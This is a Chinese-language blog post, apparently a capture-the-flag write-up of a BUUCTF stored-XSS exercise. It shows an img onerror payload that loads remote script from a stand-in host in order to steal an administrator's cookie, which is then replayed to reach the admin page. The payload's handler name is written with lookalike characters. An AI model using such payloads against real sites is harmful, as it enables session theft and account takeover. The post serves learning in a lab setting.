XSS实验

本文最后更新于:2024年3月2日 晚上

XSS 实验合集

写在前面:笔者拜读完《白帽子讲Web安全》的第六章——XSS跨站脚本攻击后,仅知其理论,从书上读些文字、图片,如同隔靴搔痒,本人深知实践的重要性,便开始进行一些关于 XSS 的实践。

存储型 XSS ——我的第一次XSS (from BUUCTF)

笔者在 BUUCTF 平台上找了一道 XSS 的题目,借此浅探 XSS 的利用方法。

题目地址:https://buuoj.cn/challenges#[%E7%AC%AC%E4%B8%89%E7%AB%A0][3.3.4%20%E6%A1%88%E4%BE%8B%E5%88%86%E6%9E%90]BUU%20XSS%20COURSE%201

启动靶机后,打开网页,发现一个大大的输入框,其实根据我找题目的目的性,知道这里肯定有一个简单的 XSS 漏洞让我入门。

尝试输入<script>alert(1)</script>,好像并没有什么反应,再尝试一下 img 类型 <img src="ss">,进入提示框里面的地址以后发现,”树洞内容“后有一张损坏的图片。这说明有漏洞了。根据”登录“按钮推测,我们可以通过存储型 XSS 获取管理员的 Cookie 和 后台地址。

打开 XSS 平台,将其 img 格式的 payload 复制一个喂给该网站

1
2
<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='example.com';>

它使用 > 标签的 onerror 事件来执行一个 JavaScript 代码块。当图片加载失败时,onerror 事件将被触发,从而执行该代码块。该代码块创建了一个script元素,并将其 src 属性设置为 example.com。然后,它将该元素添加到文档的头部。这意味着,当页面加载时,该脚本将被下载并执行,从而允许攻击者注入恶意代码并执行任意操作。

接着访问一下,弹框给出的网站后(直接将弹框内的地址拼接在当前网站URL之后),回到 XSS 平台,发现已经获取到了管理员的敏感信息~

其中的backend/admin.phpcookie正是我们需要的东西。

访问http://bc04c93b-ca0a-4612-b817-d04fa8840781.node5.buuoj.cn:81/backend/admin.php后,利用浏览器插件EditThisCookie设置cookie为管理员cookie,即可获取 flag,达到了存储型 XSS 获取敏感信息的利用。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!